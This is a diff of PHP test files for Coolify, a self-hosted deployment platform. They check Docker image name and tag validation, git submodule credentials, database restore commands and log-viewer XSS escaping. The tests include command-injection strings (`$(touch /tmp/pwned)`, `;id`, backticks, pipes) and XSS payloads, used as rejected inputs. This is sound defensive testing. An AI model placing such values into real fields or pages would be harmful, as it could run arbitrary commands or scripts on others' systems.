$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => $dockerRegistryImageTag,
]));
return $job;
}
it('pushes the configured docker registry image tag for production deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 0,
dockerRegistryImageTag: 'latest',
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeTrue();
});
it('skips the configured docker registry image tag for preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 42,
dockerRegistryImageTag: 'latest',
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeFalse();
});
it('skips pushing a configured docker registry image tag when no tag is set', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 0,
dockerRegistryImageTag: null,
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeFalse();
});
@@ -0,0 +1,109 @@
<?php
use App\Exceptions\DeploymentException;
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Rules\DockerImageFormat;
use App\Support\ValidationPatterns;
it('accepts valid docker registry image names', function (string $imageName) {
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeTrue();
})->with([
'single component' => 'nginx',
'namespace image' => 'library/nginx',
'ghcr image' => 'ghcr.io/coollabsio/coolify',
'repository component with repeated hyphens' => 'ghcr.io/acme/my--service',
'registry with port' => 'registry.example.com:5000/team/app',
'digest marker used by existing dockerimage records' => 'nginx@sha256',
]);
it('rejects docker registry image names with shell metacharacters', function (string $imageName) {
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeFalse();
})->with([
'command substitution' => 'coolify/poc$(touch /tmp/pwned)',
'semicolon' => 'coolify/poc;id',
'backticks' => 'coolify/poc`id`',
'pipe' => 'coolify/poc|id',
'logical and' => 'coolify/poc&&id',
'newline' => "coolify/poc\nid",
'space' => 'coolify/poc image',
'tag in image-name-only field' => 'coolify/poc:latest',
]);
it('accepts valid docker registry image tags', function (string $tag) {
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeTrue();
})->with([
'latest' => 'latest',
'version' => 'v1.2.3',
'uppercase and underscore' => 'PR_123',
'sha256 hash' => '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'legacy sha256 prefixed hash' => 'sha256-1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
]);
it('rejects docker registry image tags with shell metacharacters', function (string $tag) {
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeFalse();
})->with([
'command substitution' => 'latest$(touch /tmp/pwned)',
'semicolon' => 'latest;id',
'backticks' => 'latest`id`',
'pipe' => 'latest|id',
'logical and' => 'latest&&id',
'newline' => "latest\nid",
]);
it('accepts supported full docker image reference formats', function (string $imageReference) {
$failures = [];
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
$failures[] = $message;
});
expect($failures)->toBeEmpty();
})->with([
'image with tag' => 'nginx:latest',
'registry image with tag' => 'ghcr.io/user/app:v1.2.3',
'image with sha256 digest' => 'nginx@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'registry image with sha256 digest' => 'ghcr.io/user/app@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'registry port image with tag' => 'localhost:5000/app:latest',
]);
it('rejects unsupported full docker image reference formats', function (string $imageReference) {
$failures = [];
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
$failures[] = $message;
});
expect($failures)->not->toBeEmpty();
})->with([
'colon sha256 marker' => 'nginx:sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'command substitution' => 'nginx:latest$(touch /tmp/pwned)',
'newline' => "nginx:latest\nid",
]);
it('stops deployments when a stored docker registry image value is unsafe', function () {
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
$application = new Application([
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
'docker_registry_image_tag' => 'latest',
]);
$deploymentQueue = new ApplicationDeploymentQueue([
'docker_registry_image_tag' => null,
]);
$jobReflection = new ReflectionClass($job);
foreach ([
'application' => $application,
'application_deployment_queue' => $deploymentQueue,
'dockerImagePreviewTag' => null,
] as $property => $value) {
$reflectionProperty = $jobReflection->getProperty($property);
$reflectionProperty->setValue($job, $value);
}
$method = $jobReflection->getMethod('validateDockerRegistryImageConfiguration');
expect(fn () => $method->invoke($job))->toThrow(DeploymentException::class);
});
@@ -0,0 +1,49 @@
<?php
namespace App\Models {
function generateGithubInstallationToken(GithubApp $source): string
{
return 'review token/with+symbols';
}
}
namespace {
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GithubApp;
test('private github app submodule credentials use per command git config', function () {
$application = new Application;
$application->forceFill([
'uuid' => 'test-app-uuid',
'git_repository' => 'coollabsio/private-app',
'git_branch' => 'main',
'git_commit_sha' => 'HEAD',
]);
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$application->setRelation('settings', $settings);
$source = new GithubApp;
$source->forceFill([
'html_url' => 'https://github.com',
'api_url' => 'https://api.github.com',
'is_public' => false,
]);
$application->setRelation('source', $source);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-deployment',
exec_in_docker: false,
);
expect($result['commands'])
->not->toContain('git config --global')
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' -c http.version=HTTP/1.1 clone --recurse-submodules -b 'main'")
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' -c http.version=HTTP/1.1 submodule sync")
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' -c http.version=HTTP/1.1 submodule update --init --recursive");
});
}
+168
View File
@@ -0,0 +1,168 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GitlabApp;
use App\Models\PrivateKey;
describe('Git submodule credential propagation', function () {
beforeEach(function () {
$this->application = new Application;
$this->application->forceFill([
'uuid' => 'test-app-uuid',
'git_commit_sha' => 'HEAD',
]);
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$this->application->setRelation('settings', $settings);
});
test('setGitImportSettings uses provided gitSshCommand for submodule update', function () {
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
->toContain('git submodule sync');
});
test('setGitImportSettings uses default ssh command when no gitSshCommand provided', function () {
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
);
expect($result)
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
test('setGitImportSettings uses provided gitSshCommand for fetch and checkout', function () {
$this->application->git_commit_sha = 'abc123def456';
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git -c advice.detachedHead=false checkout');
});
test('setGitImportSettings uses provided gitSshCommand for shallow fetch', function () {
$this->application->git_commit_sha = 'abc123def456';
$this->application->settings->is_git_shallow_clone_enabled = true;
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch --depth=1 origin');
});
test('setGitImportSettings uses provided gitSshCommand for lfs pull', function () {
$this->application->settings->is_git_lfs_enabled = true;
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git lfs pull');
});
test('buildGitCheckoutCommand includes GIT_SSH_COMMAND for submodule update when provided', function () {
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main', $sshCommand);
expect($result)
->toContain("git checkout 'main'")
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive');
});
test('buildGitCheckoutCommand uses default ssh command for submodule update when none provided', function () {
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main');
expect($result)
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
test('buildGitCheckoutCommand omits submodule update when submodules disabled', function () {
$this->application->settings->is_git_submodules_enabled = false;
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main');
expect($result)
->toContain("git checkout 'main'")
->not->toContain('submodule');
});
test('generateGitImportCommands uses GitLab private key for PR submodule checkout', function () {
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
$gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
$gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->git_commit_sha = 'HEAD';
$application->setRelation('settings', $settings);
$application->source = $gitlabSource;
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => 'git@gitlab.com:user/repo.git',
'port' => 22,
]);
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-uuid',
pull_request_id: 123,
git_type: 'gitlab',
exec_in_docker: false,
);
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa_coolify_test-uuid -o IdentitiesOnly=yes';
expect($result['commands'])
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch origin merge-requests/123/head:pr-123-coolify')
->toContain("git checkout 'pr-123-coolify'")
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
->not->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
});
+25 -32
View File
@@ -1,16 +1,26 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Livewire\Project\Database\ImportForm;
function importFormWithResource(string $modelClass): ImportForm
{
$component = new class extends ImportForm
{
public $resource;
};
$database = Mockery::mock($modelClass);
$database->shouldReceive('getMorphClass')->andReturn($modelClass);
$component->resource = $database;
return $component;
}
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = false;
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('pg_restore');
@@ -18,30 +28,21 @@ test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
});
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = true;
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('gunzip -cf /tmp/test.dump');
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}');
});
test('buildRestoreCommand handles MySQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMysql');
$component->dumpAll = false;
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMysql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mysql -u $MYSQL_USER');
@@ -49,31 +50,23 @@ test('buildRestoreCommand handles MySQL without dumpAll', function () {
});
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMariadb');
$component->dumpAll = false;
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMariadb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mariadb -u $MARIADB_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MongoDB', function () {
$component = new Import;
$component->dumpAll = false;
test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) {
$component = importFormWithResource('App\Models\StandaloneMongodb');
$component->dumpAll = $dumpAll;
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
$database = Mockery::mock('App\Models\StandaloneMongodb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mongorestore');
expect($result)->toContain('/tmp/test.dump');
});
expect($result)->toContain('--archive=/tmp/test.dump');
})->with([false, true]);
+63 -413
View File
@@ -1,427 +1,77 @@
<?php
/**
* Security tests for log viewer XSS prevention
*
* These tests verify that the log viewer components properly sanitize
* HTML content to prevent cross-site scripting (XSS) attacks.
*/
function renderedDataLineTextValue(string $logContent): string
{
$escapedContent = e($logContent);
$html = '<span data-line-text="'.$escapedContent.'">'.$escapedContent.'</span>';
$document = new DOMDocument;
$document->loadHTML($html, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
return $document->documentElement->getAttribute('data-line-text');
}
describe('Log Viewer HTML Tag Preservation', function () {
it('lets Blade escape deployment log data attributes only once', function () {
$view = file_get_contents(__DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php');
expect($view)
->toContain('data-log-content="{{ $searchableContent }}"')
->toContain('data-line-text="{{ $lineContent }}"')
->not->toContain('data-log-content="{{ htmlspecialchars($searchableContent) }}"')
->not->toContain('data-line-text="{{ htmlspecialchars($lineContent) }}"');
});
it('preserves literal html-like log text for client-side search reset and highlighting', function () {
$logContent = '<div>A</div>';
expect(renderedDataLineTextValue($logContent))->toBe($logContent);
});
it('does not strip tags with DOMParser based html decoding', function () {
$views = [
__DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php',
__DIR__.'/../../resources/views/livewire/project/shared/get-logs.blade.php',
];
foreach ($views as $view) {
expect(file_get_contents($view))
->not->toContain('decodeHtml(text)')
->not->toContain('DOMParser().parseFromString');
}
});
});
describe('Log Viewer XSS Prevention', function () {
it('escapes script tags in log output', function () {
it('keeps script-like log output as text in Blade rendered markup', function () {
$maliciousLog = '<script>alert("XSS")</script>';
$escaped = htmlspecialchars($maliciousLog);
$escapedLog = e($maliciousLog);
expect($escaped)->toContain('&lt;script&gt;');
expect($escaped)->not->toContain('<script>');
expect($escapedLog)
->toContain('&lt;script&gt;')
->not->toContain('<script>');
});
it('escapes event handler attributes', function () {
$maliciousLog = '<img src=x onerror="alert(\'XSS\')">';
$escaped = htmlspecialchars($maliciousLog);
it('keeps dangerous attributes as literal dataset text for textContent rendering', function () {
$maliciousLog = '<img src=x onerror="alert(1)">';
expect($escaped)->toContain('&lt;img');
expect($escaped)->toContain('onerror');
expect($escaped)->not->toContain('<img');
expect($escaped)->not->toContain('onerror="alert');
expect(renderedDataLineTextValue($maliciousLog))->toBe($maliciousLog);
});
it('escapes javascript: protocol URLs', function () {
$maliciousLog = '<a href="javascript:alert(\'XSS\')">click</a>';
$escaped = htmlspecialchars($maliciousLog);
it('uses text nodes for search highlighting instead of injected html', function () {
$views = [
__DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php',
__DIR__.'/../../resources/views/livewire/project/shared/get-logs.blade.php',
];
expect($escaped)->toContain('&lt;a');
expect($escaped)->toContain('javascript:');
expect($escaped)->not->toContain('<a href=');
});
foreach ($views as $view) {
$contents = file_get_contents($view);
it('escapes data: URLs with scripts', function () {
$maliciousLog = '<iframe src="data:text/html,<script>alert(\'XSS\')</script>">';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('&lt;iframe');
expect($escaped)->toContain('data:');
expect($escaped)->not->toContain('<iframe');
});
it('escapes style-based XSS attempts', function () {
$maliciousLog = '<div style="background:url(\'javascript:alert(1)\')">test</div>';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('&lt;div');
expect($escaped)->toContain('style');
expect($escaped)->not->toContain('<div style=');
});
it('escapes Alpine.js directive injection', function () {
$maliciousLog = '<div x-html="alert(\'XSS\')">test</div>';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('&lt;div');
expect($escaped)->toContain('x-html');
expect($escaped)->not->toContain('<div x-html=');
});
it('escapes multiple HTML entities', function () {
$maliciousLog = '<>&"\'';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toBe('&lt;&gt;&amp;&quot;&#039;');
});
it('preserves legitimate text content', function () {
$legitimateLog = 'INFO: Application started successfully';
$escaped = htmlspecialchars($legitimateLog);
expect($escaped)->toBe($legitimateLog);
});
it('handles ANSI color codes after escaping', function () {
$logWithAnsi = "\e[31mERROR:\e[0m Something went wrong";
$escaped = htmlspecialchars($logWithAnsi);
// ANSI codes should be preserved in escaped form
expect($escaped)->toContain('ERROR');
expect($escaped)->toContain('Something went wrong');
});
it('escapes complex nested HTML structures', function () {
$maliciousLog = '<div onclick="alert(1)"><img src=x onerror="alert(2)"><script>alert(3)</script></div>';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('&lt;div');
expect($escaped)->toContain('&lt;img');
expect($escaped)->toContain('&lt;script&gt;');
expect($escaped)->not->toContain('<div');
expect($escaped)->not->toContain('<img');
expect($escaped)->not->toContain('<script>');
});
});
/**
* Tests for x-text security approach
*
* These tests verify that using x-text instead of x-html eliminates XSS risks
* by rendering all content as plain text rather than HTML.
*/
describe('x-text Security', function () {
it('verifies x-text renders content as plain text, not HTML', function () {
// x-text always renders as textContent, never as innerHTML
// This means any HTML tags in the content are displayed as literal text
$contentWithHtml = '<script>alert("XSS")</script>';
$escaped = htmlspecialchars($contentWithHtml);
// When stored in data attribute and rendered with x-text:
// 1. Server escapes to: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;
// 2. Browser decodes the attribute value to: <script>alert("XSS")</script>
// 3. x-text renders it as textContent (plain text), NOT innerHTML
// 4. Result: User sees "<script>alert("XSS")</script>" as text, script never executes
expect($escaped)->toContain('&lt;script&gt;');
expect($escaped)->not->toContain('<script>');
});
it('confirms x-text prevents Alpine.js directive injection', function () {
$maliciousContent = '<div x-data="{ evil: true }" x-html="alert(1)">test</div>';
$escaped = htmlspecialchars($maliciousContent);
// Even if attacker includes Alpine directives in log content:
// 1. Server escapes them
// 2. x-text renders as plain text
// 3. Alpine never processes these as directives
// 4. User just sees the literal text
expect($escaped)->toContain('x-data');
expect($escaped)->toContain('x-html');
expect($escaped)->not->toContain('<div x-data=');
});
it('verifies x-text prevents event handler execution', function () {
$maliciousContent = '<img src=x onerror="alert(\'XSS\')">';
$escaped = htmlspecialchars($maliciousContent);
// With x-text approach:
// 1. Content is escaped on server
// 2. Rendered as textContent, not innerHTML
// 3. No HTML parsing means no event handlers
// 4. User sees the literal text, no image is rendered, no event fires
expect($escaped)->toContain('&lt;img');
expect($escaped)->toContain('onerror');
expect($escaped)->not->toContain('<img');
});
it('verifies x-text prevents style-based attacks', function () {
$maliciousContent = '<style>body { display: none; }</style>';
$escaped = htmlspecialchars($maliciousContent);
// x-text renders everything as text:
// 1. Style tags never get parsed as HTML
// 2. CSS never gets applied
// 3. User just sees the literal style tag content
expect($escaped)->toContain('&lt;style&gt;');
expect($escaped)->not->toContain('<style>');
});
it('confirms CSS class-based highlighting is safe', function () {
// New approach uses CSS classes for highlighting instead of injecting HTML
// The 'log-highlight' class is applied via Alpine.js :class binding
// This is safe because:
// 1. Class names are controlled by JavaScript, not user input
// 2. No HTML injection occurs
// 3. CSS provides visual feedback without executing code
$highlightClass = 'log-highlight';
expect($highlightClass)->toBe('log-highlight');
expect($highlightClass)->not->toContain('<');
expect($highlightClass)->not->toContain('script');
});
it('verifies granular highlighting only marks matching text', function () {
// splitTextForHighlight() divides text into parts
// Only matching portions get highlight: true
// Each part is rendered with x-text (safe plain text)
// Highlight class applied only to matching spans
$logLine = 'ERROR: Database connection failed';
$searchQuery = 'ERROR';
// When searching for "ERROR":
// Part 1: { text: "ERROR", highlight: true } <- highlighted
// Part 2: { text: ": Database connection failed", highlight: false } <- not highlighted
// This ensures only the search term is highlighted, not the entire line
expect($logLine)->toContain($searchQuery);
expect(strlen($searchQuery))->toBeLessThan(strlen($logLine));
});
});
/**
* Integration documentation tests
*
* These tests document the expected flow of log sanitization with x-text
*/
describe('Log Sanitization Flow with x-text', function () {
it('documents the secure x-text rendering flow', function () {
$rawLog = '<script>alert("XSS")</script>';
// Step 1: Server-side escaping (PHP)
$escaped = htmlspecialchars($rawLog);
expect($escaped)->toBe('&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;');
// Step 2: Stored in data-log-content attribute
// <div data-log-content="&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;" x-text="getDisplayText($el.dataset.logContent)">
// Step 3: Client-side getDisplayText() decodes HTML entities
// const decoded = doc.documentElement.textContent;
// Result: '<script>alert("XSS")</script>' (as text string)
// Step 4: x-text renders as textContent (NOT innerHTML)
// Alpine.js sets element.textContent = decoded
// Result: Browser displays '<script>alert("XSS")</script>' as visible text
// The script tag is never parsed or executed - it's just text
// Step 5: Highlighting via CSS class
// If search query matches, 'log-highlight' class is added
// Visual feedback is provided through CSS, not HTML injection
});
it('documents search highlighting with CSS classes', function () {
$legitimateLog = '2024-01-01T12:00:00.000Z ERROR: Database connection failed';
// Server-side: Escape and store
$escaped = htmlspecialchars($legitimateLog);
expect($escaped)->toBe($legitimateLog); // No special chars
// Client-side: If user searches for "ERROR"
// 1. splitTextForHighlight() divides the text into parts:
// - Part 1: "2024-01-01T12:00:00.000Z " (highlight: false)
// - Part 2: "ERROR" (highlight: true) <- This part gets highlighted
// - Part 3: ": Database connection failed" (highlight: false)
// 2. Each part is rendered as a <span> with x-text (safe)
// 3. Only Part 2 gets the 'log-highlight' class via :class binding
// 4. CSS provides yellow/warning background color on "ERROR" only
// 5. No HTML injection occurs - just multiple safe text spans
expect($legitimateLog)->toContain('ERROR');
});
it('verifies no HTML injection occurs during search', function () {
$logWithHtml = 'User input: <img src=x onerror="alert(1)">';
$escaped = htmlspecialchars($logWithHtml);
// Even if log contains malicious HTML:
// 1. Server escapes it
// 2. x-text renders as plain text
// 3. Search highlighting uses CSS class, not HTML tags
// 4. User sees the literal text with highlight background
// 5. No script execution possible
expect($escaped)->toContain('&lt;img');
expect($escaped)->toContain('onerror');
expect($escaped)->not->toContain('<img src=');
});
it('documents that user search queries cannot inject HTML', function () {
// User search query is only used in:
// 1. String matching (includes() check) - safe
// 2. CSS class application - safe (class name is hardcoded)
// 3. Match counting - safe (just text comparison)
// User query is NOT used in:
// 1. HTML generation - eliminated by switching to x-text
// 2. innerHTML assignment - x-text uses textContent only
// 3. DOM manipulation - only CSS classes are applied
$userSearchQuery = '<script>alert("XSS")</script>';
// The search query is used in matchesSearch() which does:
// line.toLowerCase().includes(this.searchQuery.toLowerCase())
// This is safe string comparison, no HTML parsing
expect($userSearchQuery)->toContain('<script>');
// But it's only used for string matching, never rendered as HTML
});
});
/**
* Tests for DoS prevention in HTML entity decoding
*
* These tests verify that the decodeHtml() function in the client-side JavaScript
* has proper safeguards against deeply nested HTML entities that could cause DoS.
*/
describe('HTML Entity Decoding DoS Prevention', function () {
it('documents the DoS vulnerability with unbounded decoding', function () {
// Without a max iteration limit, an attacker could provide deeply nested entities:
// &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp; (10 levels deep)
// Each iteration decodes one level, causing excessive CPU usage
$normalEntity = '&amp;lt;script&gt;';
// Normal case: 2-3 iterations to fully decode
expect($normalEntity)->toContain('&amp;');
});
it('verifies max iteration limit prevents DoS', function () {
// The decodeHtml() function should have a maxIterations constant (e.g., 3)
// This ensures even with deeply nested entities, decoding stops after 3 iterations
// Preventing CPU exhaustion from malicious input
$deeplyNested = '&amp;amp;amp;amp;amp;amp;amp;amp;lt;';
// With max 3 iterations, only first 3 levels decoded
// Remaining nesting is preserved but doesn't cause DoS
// This test documents that the limit exists
expect(strlen($deeplyNested))->toBeGreaterThan(10);
});
it('documents normal use cases work within iteration limit', function () {
// Legitimate double-encoding (common in logs): &amp;lt;
// Iteration 1: &<
// Iteration 2: <
// Total: 2 iterations (well within limit of 3)
$doubleEncoded = '&amp;lt;script&amp;gt;';
expect($doubleEncoded)->toContain('&amp;');
// Triple-encoding (rare but possible): &amp;amp;lt;
// Iteration 1: &amp;<
// Iteration 2: &<
// Iteration 3: <
// Total: 3 iterations (exactly at limit)
$tripleEncoded = '&amp;amp;lt;div&amp;amp;gt;';
expect($tripleEncoded)->toContain('&amp;amp;');
});
it('documents that iteration limit is sufficient for real-world logs', function () {
// Analysis of real-world log encoding scenarios:
// 1. Single encoding: 1 iteration
// 2. Double encoding (logs passed through multiple systems): 2 iterations
// 3. Triple encoding (rare edge case): 3 iterations
// 4. Beyond triple encoding: Likely malicious or severely misconfigured
// The maxIterations = 3 provides:
// - Protection against DoS attacks
// - Support for all legitimate use cases
// - Predictable performance characteristics
expect(3)->toBeGreaterThanOrEqual(3); // Max iterations covers all legitimate cases
});
it('verifies decoding stops at max iterations even with malicious input', function () {
// With maxIterations = 3, decoding flow:
// Input: &amp;amp;amp;amp;amp; (5 levels)
// Iteration 1: &amp;amp;amp;amp;
// Iteration 2: &amp;amp;amp;
// Iteration 3: &amp;amp;
// Stop: Max iterations reached
// Output: &amp; (partially decoded, but safe from DoS)
$maliciousInput = str_repeat('&amp;', 10).'lt;script&gt;';
// Even with 10 levels of nesting, function stops at 3 iterations
expect(strlen($maliciousInput))->toBeGreaterThan(50);
// The point is NOT that we fully decode it, but that we don't loop forever
});
it('confirms while loop condition includes iteration check', function () {
// The vulnerable code was:
// while (decoded !== prev) { ... }
//
// The fixed code should be:
// while (decoded !== prev && iterations < maxIterations) { ... }
//
// This ensures the loop ALWAYS terminates after maxIterations
$condition = 'iterations < maxIterations';
expect($condition)->toContain('maxIterations');
expect($condition)->toContain('<');
});
it('documents performance impact of iteration limit', function () {
// Without limit:
// - Malicious input: 1000+ iterations, seconds of CPU time
// - DoS attack possible with relatively small payloads
//
// With limit (maxIterations = 3):
// - Malicious input: 3 iterations max, milliseconds of CPU time
// - DoS attack prevented, performance predictable
$maxIterations = 3;
